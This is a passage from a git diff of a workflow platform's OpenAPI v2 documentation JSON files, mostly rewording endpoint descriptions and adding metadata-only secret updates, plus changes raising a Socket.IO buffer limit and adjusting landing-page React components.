`scope=archived` returns an empty page when the containing folder was archived too.", "type": "string", "enum": ["active", "archived"] } @@ -1384,10 +1384,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a `DELETE` soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before `POST /files/{fileId}/restore`. Authorization is identical for both.", + "description": "Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a delete soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before the file is restored. Authorization is identical for both.", "schema": { "default": "active", - "description": "Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a `DELETE` soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before `POST /files/{fileId}/restore`. Authorization is identical for both.", + "description": "Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a delete soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before the file is restored. Authorization is identical for both.", "type": "string", "enum": ["active", "archived"] } @@ -2144,10 +2144,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive `DELETE` soft-deleted, which is how a caller finds a path to hand to `POST /api/v2/files/folders/restore`. Authorization is identical for both.", + "description": "Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive delete soft-deleted, which is how a caller finds a path to hand to the folder restore. Authorization is identical for both.", "schema": { "default": "active", - "description": "Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive `DELETE` soft-deleted, which is how a caller finds a path to hand to `POST /api/v2/files/folders/restore`. Authorization is identical for both.", + "description": "Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive delete soft-deleted, which is how a caller finds a path to hand to the folder restore. Authorization is identical for both.", "type": "string", "enum": ["active", "archived"] } @@ -2841,12 +2841,12 @@ "size": { "type": "number", "minimum": 0, - "description": "Size in bytes of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source, not the rendered document, so it does not predict how many bytes `GET /files/{fileId}` returns.", + "description": "Size in bytes of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source, not the rendered document, so it does not predict how many bytes downloading the file returns.", "examples": [1024] }, "type": { "type": "string", - "description": "MIME type of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source type, not the rendered document type `GET /files/{fileId}` serves.", + "description": "MIME type of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source type, not the rendered document type a download serves.", "examples": ["text/csv"] }, "key": { @@ -2888,7 +2888,7 @@ "type": "null" } ], - "description": "ISO 8601 timestamp when the file was archived by `DELETE /files/{fileId}`, or null while the file is active. Only `GET /files?scope=archived` returns files with a non-null value.", + "description": "ISO 8601 timestamp when the file was archived by deleting it, or null while the file is active. Only an archived-scope file list returns files with a non-null value.", "format": "date-time", "examples": ["2026-01-16T09:00:00Z"] } @@ -3673,12 +3673,12 @@ "size": { "type": "number", "minimum": 0, - "description": "Size in bytes of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source, not the rendered document, so it does not predict how many bytes `GET /files/{fileId}` returns.", + "description": "Size in bytes of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source, not the rendered document, so it does not predict how many bytes downloading the file returns.", "examples": [1024] }, "type": { "type": "string", - "description": "MIME type of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source type, not the rendered document type `GET /files/{fileId}` serves.", + "description": "MIME type of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source type, not the rendered document type a download serves.", "examples": ["text/csv"] }, "key": { @@ -3720,7 +3720,7 @@ "type": "null" } ], - "description": "ISO 8601 timestamp when the file was archived by `DELETE /files/{fileId}`, or null while the file is active. Only `GET /files?scope=archived` returns files with a non-null value.", + "description": "ISO 8601 timestamp when the file was archived by deleting it, or null while the file is active. Only an archived-scope file list returns files with a non-null value.", "format": "date-time", "examples": ["2026-01-16T09:00:00Z"] }, @@ -4430,7 +4430,7 @@ "description": "Workspace that owns the archived folder." }, "path": { - "description": "Path of the archived folder to restore, as reported by `GET /api/v2/files/folders?scope=archived`.", + "description": "Path of the archived folder to restore, as reported by an archived-scope folder list.", "$ref": "#/components/schemas/NonRootFolderPathInput" } }, diff --git a/apps/docs/openapi-v2-knowledge.json b/apps/docs/openapi-v2-knowledge.json index 8bb1c1edfaa..d433c0ea73b 100644 --- a/apps/docs/openapi-v2-knowledge.json +++ b/apps/docs/openapi-v2-knowledge.json @@ -3481,7 +3481,7 @@ "patch": { "operationId": "bulkUpdateKnowledgeChunks", "summary": "Bulk Update Chunks", - "description": "Enable, disable, or delete many chunks of one document in a single request. Best-effort: an identifier naming no chunk in the document is skipped rather than failing the request, so `processed` is the authoritative count. Chunks of a connector-synced document are read-only and a write answers `403` with `error.details.code: \"CONNECTOR_MANAGED_RESOURCE_READ_ONLY\"` — change the content at the source and re-sync, or exclude the document from the connector. A workspace API key is rejected with `403`; use a personal API key.", + "description": "Enable, disable, or delete many chunks of one document in a single request. Best-effort: an identifier naming no chunk in the document is reported in `errors` rather than failing the request. `processed` counts the chunks the operation matched, not the chunks it changed. Chunks of a connector-synced document are read-only and a write answers `403` with `error.details.code: \"CONNECTOR_MANAGED_RESOURCE_READ_ONLY\"` — change the content at the source and re-sync, or exclude the document from the connector. A workspace API key is rejected with `403`; use a personal API key.", "tags": ["Knowledge Bases"], "parameters": [ { @@ -6838,14 +6838,15 @@ "type": "object", "properties": { "recipe": { - "description": "Optional document processing recipe.", + "description": "Optional document processing recipe. One of: default, plain, markdown, code.", "type": "string", - "maxLength": 255 + "enum": ["default", "plain", "markdown", "code"] }, "lang": { - "description": "Optional document language code.", + "description": "Optional document language: hyphen-separated letter and digit subtags such as `en`, `en-US`, or `zh-Hant-TW`. Only that shape is validated, not full BCP-47 conformance.", "type": "string", - "maxLength": 35 + "maxLength": 35, + "pattern": "^[A-Za-z]{2,8}(?:-[A-Za-z0-9]{1,8})*$" } }, "additionalProperties": false @@ -7876,7 +7877,7 @@ "type": "integer", "minimum": 0, "maximum": 9007199254740991, - "description": "Number of chunks the operation changed.", + "description": "Number of chunks in this document the operation matched. Chunks already in the requested state are counted too, so this is not a count of changes.", "examples": [12] }, "errors": { @@ -7884,7 +7885,7 @@ "items": { "type": "string" }, - "description": "Per-chunk failures. A populated array still answers 200." + "description": "Per-chunk failures, including any identifier that named no chunk in the document. A populated array still answers 200." } }, "required": ["operation", "processed", "errors"], @@ -7927,7 +7928,7 @@ "type": "string", "minLength": 1 }, - "description": "Chunks to operate on, by identifier. Ids outside the document are ignored." + "description": "Chunks to operate on, by identifier. An id naming no chunk in the document is reported in errors and does not fail the request." } }, "required": ["workspaceId", "operation", "chunkIds"], diff --git a/apps/docs/openapi-v2-logs.json b/apps/docs/openapi-v2-logs.json index 08535cf3ef1..3f69f6dd896 100644 --- a/apps/docs/openapi-v2-logs.json +++ b/apps/docs/openapi-v2-logs.json @@ -244,9 +244,9 @@ "name": "includeJobRuns", "in": "query", "required": false, - "description": "Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: \"job\"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set (`workflowIds`, `workflowName`, `folderPaths`, `model`, or `status`), so a filter never means two different things across the union. Accepted only under `sortBy=startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings.", + "description": "Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: \"job\"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set: by workflow, workflow name, folder, model, or status. A filter therefore never means two different things across the union. Accepted only when sorting by `startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings.", "schema": { - "description": "Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: \"job\"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set (`workflowIds`, `workflowName`, `folderPaths`, `model`, or `status`), so a filter never means two different things across the union. Accepted only under `sortBy=startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings.", + "description": "Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: \"job\"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set: by workflow, workflow name, folder, model, or status. A filter therefore never means two different things across the union. Accepted only when sorting by `startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings.", "type": "boolean" } }, @@ -267,10 +267,10 @@ "name": "sortBy", "in": "query", "required": false, - "description": "Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected together with `includeJobRuns=true`.", + "description": "Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected when job runs are included.", "schema": { "default": "startedAt", - "description": "Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected together with `includeJobRuns=true`.", + "description": "Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected when job runs are included.", "type": "string", "enum": ["startedAt", "durationMs", "cost", "status"] } @@ -421,7 +421,7 @@ "get": { "operationId": "getLogStats", "summary": "Get Log Statistics", - "description": "Bucketed run counts, success rate, error count, and mean latency for a workspace and for each of its workflows — the aggregate a caller would otherwise have to page every run to compute. The window spans the oldest matching run through the later of the newest matching run and now, divided into exactly `segmentCount` equal buckets whose width is `max(60000, floor(windowMs / segmentCount))` milliseconds. The one-minute floor is a floor on bucket width, not on the window: when it applies, the series runs past `timeBounds.end` and the trailing buckets are empty rather than the window being compressed. A folder path covers its whole subtree. Per-workflow series are capped and `workflowsTruncated` reports whether the cap applied; the workspace totals are always computed from every workflow. Runs are hard-deleted once they pass the payer's log retention window, so an older run is simply absent rather than reported as removed. The window is 30 days from run start on the free plan, unbounded on Pro and Team, and set per organization on Enterprise with an optional per-workspace override. A workspace folder tree over 10,000 folders is a `413`.", + "description": "Bucketed run counts, success rate, error count, and mean latency for a workspace and for each of its workflows — the aggregate a caller would otherwise have to page every run to compute. The window spans `startDate` through `endDate` when both are supplied; an omitted edge falls back to the oldest matching run on the left and to the later of the newest matching run and now on the right. With no matching runs the right edge falls back to now and the left to 24 hours before that right edge — the trailing 24 hours when neither edge was supplied, and the 24 hours preceding `endDate` when only `endDate` was supplied. A supplied `startDate` is still used verbatim, so a `startDate` without an `endDate` yields `[startDate, now]`, which can be any width. The window is divided into exactly `segmentCount` equal buckets whose width is `max(60000, floor(windowMs / segmentCount))` milliseconds. The one-minute floor is a floor on bucket width, not on the window: when it applies, the series runs past `timeBounds.end` and the trailing buckets are empty rather than the window being compressed. A folder path covers its whole subtree. Per-workflow series are capped and `workflowsTruncated` reports whether the cap applied; the workspace totals are always computed from every workflow. Runs are hard-deleted once they pass the payer's log retention window, so an older run is simply absent rather than reported as removed. The window is 30 days from run start on the free plan, unbounded on Pro and Team, and set per organization on Enterprise with an optional per-workspace override. A workspace folder tree over 10,000 folders is a `413`.", "tags": ["Logs"], "parameters": [ { @@ -1779,7 +1779,7 @@ }, "required": ["start", "end"], "additionalProperties": false, - "description": "The window the buckets span: the oldest matching run through the later of the newest matching run and now. A workspace with no matching runs reports the trailing 24 hours." + "description": "The window the buckets span. `startDate` and `endDate` are used verbatim when supplied; an omitted edge falls back to the oldest matching run on the left and to the later of the newest matching run and now on the right. With no matching runs the right edge falls back to now and the left to 24 hours before that right edge — the trailing 24 hours when neither edge was supplied, and the 24 hours preceding `endDate` when only `endDate` was supplied. A supplied `startDate` is still used verbatim, so a `startDate` without an `endDate` yields `[startDate, now]`, which can be any width." }, "segmentMs": { "type": "number", diff --git a/apps/docs/openapi-v2-resources.json b/apps/docs/openapi-v2-resources.json index bbc64e30435..402e5d1dfdd 100644 --- a/apps/docs/openapi-v2-resources.json +++ b/apps/docs/openapi-v2-resources.json @@ -2715,26 +2715,26 @@ "put": { "operationId": "setSecret", "summary": "Set Secret", - "description": "Create or replace a workspace or caller-owned personal secret. The value is encrypted at rest, is write-only, and is never included in the response. A workspace API key is rejected with `403`; use a personal API key.", + "description": "Create or replace a workspace or caller-owned personal secret. The value is encrypted at rest, is write-only, and is never included in the response. Omit `value` on a workspace secret to update `description` and `unredacted` alone: the stored value is left untouched and is never re-encrypted, and because a metadata-only write cannot create a secret it answers `404` when the named secret does not exist. A personal secret always requires `value`, having no other writable field. A workspace API key is rejected with `403`; use a personal API key.", "tags": ["Secrets"], "parameters": [ { "name": "name", "in": "path", "required": true, - "description": "Secret to create, replace, or delete.", + "description": "Secret to create or replace.", "schema": { "type": "string", "minLength": 1, "maxLength": 255, "pattern": "^[A-Za-z0-9_]+$", - "description": "Secret to create, replace, or delete." + "description": "Secret to create or replace." } } ], "requestBody": { "required": true, - "description": "Ownership scope and write-only value for the secret.", + "description": "Ownership scope and write-only value for the secret. A workspace secret may instead send description or unredacted alone, without a value.", "content": { "application/json": { "schema": { @@ -2745,7 +2745,7 @@ }, "responses": { "200": { - "description": "The existing secret value was replaced.", + "description": "The existing secret value was replaced, or its metadata was updated in place.", "headers": { "X-RateLimit-Limit": { "$ref": "#/components/headers/X-RateLimit-Limit" @@ -2825,13 +2825,13 @@ "name": "name", "in": "path", "required": true, - "description": "Secret to create, replace, or delete.", + "description": "Secret to delete.", "schema": { "type": "string", "minLength": 1, "maxLength": 255, "pattern": "^[A-Za-z0-9_]+$", - "description": "Secret to create, replace, or delete." + "description": "Secret to delete." } }, { @@ -7164,11 +7164,11 @@ "description": "Whether the secret belongs to the workspace or to the caller. A personal secret belongs to the caller across every workspace, not to one workspace." }, "value": { + "description": "Write-only secret value. It is never returned. Omit it on a workspace secret to change description or unredacted alone, leaving the stored value untouched; the secret must already exist. Always required for a personal secret, which carries no other writable field.", + "writeOnly": true, "type": "string", "minLength": 1, - "maxLength": 65536, - "description": "Write-only secret value. It is never returned.", - "writeOnly": true + "maxLength": 65536 }, "description": { "description": "What the secret is for, shown to teammates. Workspace scope only — sending it for a personal secret is rejected. Omit it to leave an existing description untouched; send null or an empty string to clear one.", @@ -7187,15 +7187,20 @@ "type": "boolean" } }, - "required": ["workspaceId", "scope", "value"], + "required": ["workspaceId", "scope"], "additionalProperties": false, "title": "Set secret request", - "description": "Ownership scope and write-only value for the secret.", + "description": "Ownership scope and write-only value for the secret. A workspace secret may instead send description or unredacted alone, without a value.", "examples": [ { "workspaceId": "a91c4b2e-6d3f-4e8a-b5c7-0d9e2f1a8c64", "scope": "workspace", "value": "YOUR_SECRET_VALUE" + }, + { + "workspaceId": "a91c4b2e-6d3f-4e8a-b5c7-0d9e2f1a8c64", + "scope": "workspace", + "unredacted": false } ] }, @@ -7393,7 +7398,7 @@ }, "toolNamesTruncated": { "type": "boolean", - "description": "Whether `toolCount` and `toolNames` under-report. The names are gathered for the whole page under one ceiling, so a page whose servers publish more tools than that ceiling between them reports only part of each server's inventory. Read `GET /api/v2/workflow-mcp-servers/{serverId}/tools` for one server's inventory and check that response's own `truncated`, which reports the same ceiling applied to a single server — only an untruncated response is the authoritative set. Unrelated to `nextCursor`, which is how this list says there are further servers." + "description": "Whether `toolCount` and `toolNames` under-report. The names are gathered for the whole page under one ceiling, so a page whose servers publish more tools than that ceiling between them reports only part of each server's inventory. Read one server's tool inventory and check that response's own `truncated`, which reports the same ceiling applied to a single server — only an untruncated response is the authoritative set. Unrelated to `nextCursor`, which is how this list says there are further servers." } }, "required": ["data", "nextCursor", "toolNamesTruncated"], @@ -8189,14 +8194,14 @@ "items": { "type": "string" }, - "description": "Built-in tools this block can run. Resolve one with `GET /api/v2/tools/{toolId}`." + "description": "Built-in tools this block can run. Read a tool by its id for the full definition." }, "operationIds": { "type": "array", "items": { "type": "string" }, - "description": "Operations this block exposes. Their fields and tools are on `GET /api/v2/blocks/{blockId}`." + "description": "Operations this block exposes. Their fields and tools are on the block read." }, "preview": { "type": "boolean", @@ -8877,14 +8882,14 @@ "items": { "type": "string" }, - "description": "Built-in tools this block can run. Resolve one with `GET /api/v2/tools/{toolId}`." + "description": "Built-in tools this block can run. Read a tool by its id for the full definition." }, "operationIds": { "type": "array", "items": { "type": "string" }, - "description": "Operations this block exposes. Their fields and tools are on `GET /api/v2/blocks/{blockId}`." + "description": "Operations this block exposes. Their fields and tools are on the block read." }, "preview": { "type": "boolean", diff --git a/apps/docs/openapi-v2-tables.json b/apps/docs/openapi-v2-tables.json index 52a8d00198b..25250fc7714 100644 --- a/apps/docs/openapi-v2-tables.json +++ b/apps/docs/openapi-v2-tables.json @@ -55,10 +55,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a `DELETE` archived and `POST /tables/{tableId}/restore` can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a delete archived and a table restore can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", "schema": { "default": "active", - "description": "Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a `DELETE` archived and `POST /tables/{tableId}/restore` can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a delete archived and a table restore can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", "type": "string", "enum": ["active", "archived"] } @@ -6400,7 +6400,7 @@ "description": "Unique workspace identifier." }, "data": { - "description": "Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike the merging `PATCH /api/v2/tables/{tableId}/rows/{rowId}`.", + "description": "Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike a single-row update, which merges.", "$ref": "#/components/schemas/V2TableRowData" }, "conflictTarget": { @@ -7628,7 +7628,7 @@ { "workspaceId": "a91c4b2e-6d3f-4e8a-b5c7-0d9e2f1a8c64", "group": { - "workflowId": "wf_1b3d5f7a9c2e4680b4d6f8a0c2e4b619", + "workflowId": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36", "name": "Enrich company", "outputs": [ { @@ -9658,7 +9658,7 @@ "description": "Workspace that owns the archived folder." }, "path": { - "description": "Path the folder held when `DELETE /api/v2/tables/folders` archived it.", + "description": "Path the folder held when a folder delete archived it.", "$ref": "#/components/schemas/NonRootFolderPathInput" } }, diff --git a/apps/docs/openapi-v2-workflows.json b/apps/docs/openapi-v2-workflows.json index 13416eb4837..b80dda73fab 100644 --- a/apps/docs/openapi-v2-workflows.json +++ b/apps/docs/openapi-v2-workflows.json @@ -59,10 +59,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. The folder filter resolves against active folders only, so pairing it with `archived` returns an empty page when the containing folder was archived too.", "schema": { "default": "active", - "description": "Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. The folder filter resolves against active folders only, so pairing it with `archived` returns an empty page when the containing folder was archived too.", "type": "string", "enum": ["active", "archived"] } @@ -338,7 +338,7 @@ "put": { "operationId": "replaceWorkflowState", "summary": "Replace Workflow State", - "description": "Replace a workflow’s editable draft graph wholesale. `loops` and `parallels` are accepted but ignored — both are recomputed from `blocks`. Omitting `variables` leaves the stored variables untouched.\n\nLast write wins: concurrent writers are serialized by a row lock, so each lands a complete self-consistent graph and the later one replaces the earlier entirely. There is no partially-written state and no conflict detection.\n\nThis does not change what the deployed endpoint serves. Deployments are immutable versioned snapshots, and no schedule or webhook registration is touched. The only visible consequence is that `needsRedeployment` becomes true; `POST /workflows/{workflowId}/deploy` publishes the draft.\n\n`lint` is advisory and never blocks the write. `lint.fieldIssues` is the most actionable part for a headless builder — it names blocks missing a required field, which fail at run time — and `lint.unresolvedReferences` names credential, resource, tool, and skill values that do not resolve. A workspace API key is rejected with `403`; use a personal API key.\n\nSet `?dryRun=true` to validate and lint without persisting: nothing is written, no audit entry is recorded, and collaborators are not notified. The response carries the same shape and the same validation and `lint` findings the committed write would, with `dryRun: true` — but `needsRedeployment` describes the state before the write, and warnings raised by persistence itself are necessarily absent.", + "description": "Replace a workflow’s editable draft graph wholesale. `loops` and `parallels` are accepted but ignored — both are recomputed from `blocks`. Omitting `variables` leaves the stored variables untouched.\n\nLast write wins: concurrent writers are serialized by a row lock, so each lands a complete self-consistent graph and the later one replaces the earlier entirely. There is no partially-written state. Ids are the one conflict that is detected: block, edge, and subflow ids are globally unique, so a body carrying an id another workflow already owns is refused with `409` rather than written.\n\nThis does not change what the deployed endpoint serves. Deployments are immutable versioned snapshots, and no schedule or webhook registration is touched. The only visible consequence is that `needsRedeployment` becomes true; `POST /workflows/{workflowId}/deploy` publishes the draft.\n\n`lint` is advisory and never blocks the write. `lint.fieldIssues` is the most actionable part for a headless builder — it names blocks missing a required field, which fail at run time — and `lint.unresolvedReferences` names credential, resource, tool, and skill values that do not resolve. A workspace API key is rejected with `403`; use a personal API key.\n\nSet `?dryRun=true` to validate and lint without persisting: nothing is written, no audit entry is recorded, and collaborators are not notified. The response carries the same shape and the same validation and `lint` findings the committed write would, with `dryRun: true` — including the warnings the write’s own preparation step raises, and the same `409` when an id is already owned by another workflow. Only `needsRedeployment` differs: it describes the state before the write.", "tags": ["Workflows"], "parameters": [ { @@ -437,7 +437,7 @@ "post": { "operationId": "applyWorkflowOperations", "summary": "Apply Workflow Operations", - "description": "Apply a batch of semantic edits — add, edit, delete, and subflow membership changes — to a workflow graph, plus an optional set of block enable/disable changes.\n\nBest-effort per operation, atomic per write. The engine applies what it can to an in-memory graph and reports the rest in `skipped`, each with a machine-readable `type`; exactly one write of the fully-resolved graph then happens, so there is never a partially-applied graph. `deferred` is **not** a failure list: a forward-referencing edge is wired automatically once its target block exists, in this batch or a later one, so re-issuing a deferred edge is wrong.\n\nSet `atomic` to fail closed: any genuine skipped item, or any block input that would be dropped rather than persisted, then aborts before the write and answers `409` with `error.details.code: \"OPERATIONS_NOT_APPLIED\"`, the same `skipped` array, and a `droppedInputs` array, having persisted nothing.\n\nA `block_id` you supply on an `add` or `insert_into_subflow` is only a label unless it is already a UUID: the engine mints one and returns the pairing in `mintedBlockIds`. References between operations in the same batch are remapped for you, so `triage` can be wired up in the same call it is created in — but a later request must use the minted id. Send your own UUIDs when you want an id you chose to survive across requests.\n\nOperation `params` is an open object because the accepted inputs come from the block registry, not from this contract — see the per-operation schemas for the envelope: `inputs` keyed by sub-block id, with `retry`, `triggerMode` and `advancedMode` beside it rather than inside it, and `connections` keyed by source handle. `GET /blocks/{blockId}` publishes the inputs a given block type accepts. The Agent block’s `inputs.tools` value is the important exception to that open catalog shape: it is published here as the named `AgentToolInput` union, covering catalog integrations, workspace custom tools, and MCP tools.\n\n`lint` is advisory and never blocks the write. `lint.fieldIssues` is the most actionable part for a headless builder — it names blocks missing a required field, which fail at run time — and `lint.unresolvedReferences` names credential, resource, tool, and skill values that do not resolve. Those values stay persisted; only `inputValidationErrors` lists inputs that were actually dropped.\n\nAs with `PUT /workflows/{workflowId}/state`, this changes only the draft; deploy to publish it. A workspace API key is rejected with `403`; use a personal API key.\n\nSet `?dryRun=true` to validate and lint without persisting: nothing is written, no audit entry is recorded, and collaborators are not notified. The response carries the same shape and the same validation and `lint` findings the committed write would, with `dryRun: true` — but `needsRedeployment` describes the state before the write, and warnings raised by persistence itself are necessarily absent.", + "description": "Apply a batch of semantic edits — add, edit, delete, and subflow membership changes — to a workflow graph, plus an optional set of block enable/disable changes.\n\nBest-effort per operation, atomic per write. The engine applies what it can to an in-memory graph and reports the rest in `skipped`, each with a machine-readable `type`; exactly one write of the fully-resolved graph then happens, so there is never a partially-applied graph. `deferred` is **not** a failure list: a forward-referencing edge is wired automatically once its target block exists, in this batch or a later one, so re-issuing a deferred edge is wrong.\n\nSet `atomic` to fail closed: any genuine skipped item, or any block input that would be dropped rather than persisted, then aborts before the write and answers `409` with `error.details.code: \"OPERATIONS_NOT_APPLIED\"`, the same `skipped` array, and a `droppedInputs` array, having persisted nothing.\n\nA `block_id` you supply on an `add` or `insert_into_subflow` is only a label unless it is already a UUID: the engine mints one and returns the pairing in `mintedBlockIds`. References between operations in the same batch are remapped for you, so `triage` can be wired up in the same call it is created in — but a later request must use the minted id. Send your own UUIDs when you want an id you chose to survive across requests.\n\nOperation `params` is an open object because the accepted inputs come from the block registry, not from this contract — see the per-operation schemas for the envelope: `inputs` keyed by sub-block id, with `retry`, `triggerMode` and `advancedMode` beside it rather than inside it, and `connections` keyed by source handle. `GET /blocks/{blockId}` publishes the inputs a given block type accepts. The Agent block’s `inputs.tools` value is the important exception to that open catalog shape: it is published here as the named `AgentToolInput` union, covering catalog integrations, workspace custom tools, and MCP tools.\n\n`lint` is advisory and never blocks the write. `lint.fieldIssues` is the most actionable part for a headless builder — it names blocks missing a required field, which fail at run time — and `lint.unresolvedReferences` names credential, resource, tool, and skill values that do not resolve. Those values stay persisted; only `inputValidationErrors` lists inputs that were actually dropped.\n\nAs with `PUT /workflows/{workflowId}/state`, this changes only the draft; deploy to publish it. A workspace API key is rejected with `403`; use a personal API key.\n\nSet `?dryRun=true` to validate and lint without persisting: nothing is written, no audit entry is recorded, and collaborators are not notified. The response carries the same shape and the same validation and `lint` findings the committed write would, with `dryRun: true` — including the warnings the write’s own preparation step raises, and the same `409` when an id is already owned by another workflow. Only `needsRedeployment` differs: it describes the state before the write.", "tags": ["Workflows"], "parameters": [ { diff --git a/apps/realtime/src/config/socket.ts b/apps/realtime/src/config/socket.ts index 3e6c50ecbe9..2345b16ce2b 100644 --- a/apps/realtime/src/config/socket.ts +++ b/apps/realtime/src/config/socket.ts @@ -11,8 +11,11 @@ const logger = createLogger('SocketIOConfig') const PING_TIMEOUT_MS = 60000 /** Socket.IO ping interval - how often to send ping packets */ const PING_INTERVAL_MS = 25000 -/** Maximum HTTP buffer size for Socket.IO messages */ -const MAX_HTTP_BUFFER_SIZE = 1e6 +/** + * Accommodates the existing 5 MiB collaborative-document boundary plus Yjs and Socket.IO framing. + * This remains a transport safety hatch, not a product-sized text limit. + */ +const MAX_HTTP_BUFFER_SIZE = 8 * 1024 * 1024 let adapterPubClient: RedisClientType | null = null let adapterSubClient: RedisClientType | null = null diff --git a/apps/sim/app/(landing)/components/auth-modal/auth-modal.tsx b/apps/sim/app/(landing)/components/auth-modal/auth-modal.tsx index da7f1e76324..6e182a8ef48 100644 --- a/apps/sim/app/(landing)/components/auth-modal/auth-modal.tsx +++ b/apps/sim/app/(landing)/components/auth-modal/auth-modal.tsx @@ -2,6 +2,7 @@ import { useEffect, useRef, useState } from 'react' import { + cn, Loader, Modal, ModalClose, @@ -22,6 +23,7 @@ import { getEnv, isFalsy } from '@/lib/core/config/env' import { isSsoEnabled } from '@/lib/core/config/env-flags' import { captureClientEvent } from '@/lib/posthog/client' import type { PostHogEventMap } from '@/lib/posthog/events' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { getBrandConfig } from '@/ee/whitelabeling' const logger = createLogger('AuthModal') @@ -196,7 +198,12 @@ export function AuthModal({ children, defaultView = 'login', source }: AuthModal className='h-[22px] w-auto shrink-0 object-contain' />
-

+

Start building.

diff --git a/apps/sim/app/(landing)/components/features/components/captured-platform-surface.tsx b/apps/sim/app/(landing)/components/features/components/captured-platform-surface.tsx index a83b364490c..768a2479bac 100644 --- a/apps/sim/app/(landing)/components/features/components/captured-platform-surface.tsx +++ b/apps/sim/app/(landing)/components/features/components/captured-platform-surface.tsx @@ -1,6 +1,8 @@ 'use client' import Image from 'next/image' +import { PLATFORM_LOOP_DESIGN } from '@/app/(landing)/components/shared/platform-loop-constants' +import { ResponsiveDesignStage } from '@/app/(landing)/components/shared/responsive-design-stage' import { PREVIEW_SIDEBAR_CHATS, PREVIEW_SIDEBAR_WORKFLOWS, @@ -26,23 +28,22 @@ export function CapturedPlatformSurface({ src, sizes, activeItem }: CapturedPlat return (
